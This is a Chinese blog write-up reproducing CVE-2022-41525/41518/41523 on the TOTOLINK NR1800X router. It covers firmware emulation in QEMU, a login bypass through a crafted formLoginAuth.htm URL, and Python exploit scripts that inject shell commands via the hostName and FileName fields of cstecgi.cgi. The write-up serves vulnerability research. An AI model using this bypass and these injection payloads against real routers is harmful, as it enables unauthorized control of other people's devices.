NR1800X命令注入

CVE-2022-41525 CVE-2022-41518 CVE-2022-41523

文件提取

固件下载地址:

https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html

使用binwalk解包

binwalk -Me TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web

固件仿真

用户仿真

查看文件架构

file busybox
image-20241207201823017

mips小序端架构,采用mipsel进行用户态仿真,运行lighttpd

cp $(which qemu-mipsel-static) ./
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd

出现报错(需要指定配置文件,再创建一个/var/run/lighttpd.pid→空文件即可)

image-20241207205439455

这里去访问我们服务发现是空白的,所以用户态仿真应该是配置文件不全导致出现问题,所以我们可以使用系统仿真来访问这个服务

image-20241207205833370

系统仿真

在进行仿真之前我们需要实现对仿真的系统和主机之间的通信,所以需要搭建一个网桥实现通信

网桥框架

之前复现CVE-2018-18708没有理解网桥的构建框架原理进行qemu仿真的固件网络通信原理,根据师傅的文章大致理解

image-20240918211542915

构建方法

创建一个启动脚本(这里是ens33网卡,可以根据环境自行更改)

#!/bin/sh
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33               # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0

运行构建

image-20240919094034595

启动环境

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
#-M:虚拟的系统类型
#-kernrl:指定启动内核
#-hda:指定启动硬盘
#-append:启动参数
#-nographic:无图形输出

账号密码:

count:root
password:root

配置静态ip:

ifconfig eth0 (yourself ip) up

测试通信(qemu端和主机):

ping (yourself ip) -c 4

拷贝源码:

sudo scp -r squashfs-root/ (yourself ip):/root/

挂载文件系统:

chroot ./squashfs-root/ /bin/sh
./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf

访问服务:

发现系统仿真可以成功访问服务

image-20241207212649448

登录绕过

默认密码无法登陆,因为没有实体设备重置密码,只能进行登录绕过

基本的原理就是进行抓包,然后更改对应参数进行绕过

URL分析

在这个登录的数据包中发现调用了cstecgi.cgi文件,参数为action=login

POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://
Connection: close
Referer: http:// /login.html
Upgrade-Insecure-Requests: 1

username=admin&password=123456

进入ida进行字符串检索和交叉引用定位

image-20241208143007597

通过对topicurl的截断处理,实现对不同函数跳转接口的选择

image-20241208143148972

交叉引用发现获取http_passwd与password进行比较

image-20241208144321029

根据flag的值对URL进行重定向

image-20241208144627280

网络连接分析

在这个数据包中我们可以看到这里是在web服务进程的lighttpd中

GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http:// /login.html
Connection: close
Upgrade-Insecure-Requests: 1

后续逻辑就是判断是否存在authCode来判断进入home.html还是返回login.html

构造绕过

所以这里只需要构造好URL就可以绕过登录验证

路由默认admin登录,可以不指定账户

http://               /formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login

OpModeCfg命令注入

登录成功后,即可进行漏洞的复现。这里的命令注入,就是由于OpModeCfg函数中对于传入的hostname参数过滤不到位导致可以执行dosytem函数,再通过构造进行命令执行

漏洞分析

调用dosystem需要绕过需要绕过两层验证

proto不能设置为0,3,4,6

image-20241208165600202
image-20241208165639558
image-20241208165722032

hostname不能为空

image-20241208165846132

漏洞利用

import requests

url = "http:// /cgi-bin/cstecgi.cgi"
cookies = {"SESSION_ID": " "}
payload = {
"topicurl": "setOpModeCfg",
"proto": "2",
"switchOpMode": "1",
"hostName": "';ls -al ../ ;'"
}
try:
response = requests.post(url, cookies=cookies, json=payload)

print("Response Text:\n", response.text)
print("Response Object:\n", response)

except requests.exceptions.RequestException as qes:
print("An error occurred:", qes)

UploadFirmwareFile命令注入

同样的cstecgi.cgi程序的参数FileName可以控制作为doSystem的参数执行

漏洞分析

根据FileName进行交叉引用找这个函数是doSystem参数传递

image-20241208170420903

漏洞利用

import requests

url = "http:// /cgi-bin/cstecgi.cgi"
cookies = {"SESSION_ID": " "}
payload = {
"topicurl": "UploadFirmwareFile",
"FileName": ";ls -al / > /tmp/hack;"
}
try:
response = requests.post(url, cookies=cookies, json=payload)
print("Response Text:\n", response.text)
print("Response Object:\n", response)

except requests.exceptions.RequestException as qes:
print("error:", qes)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇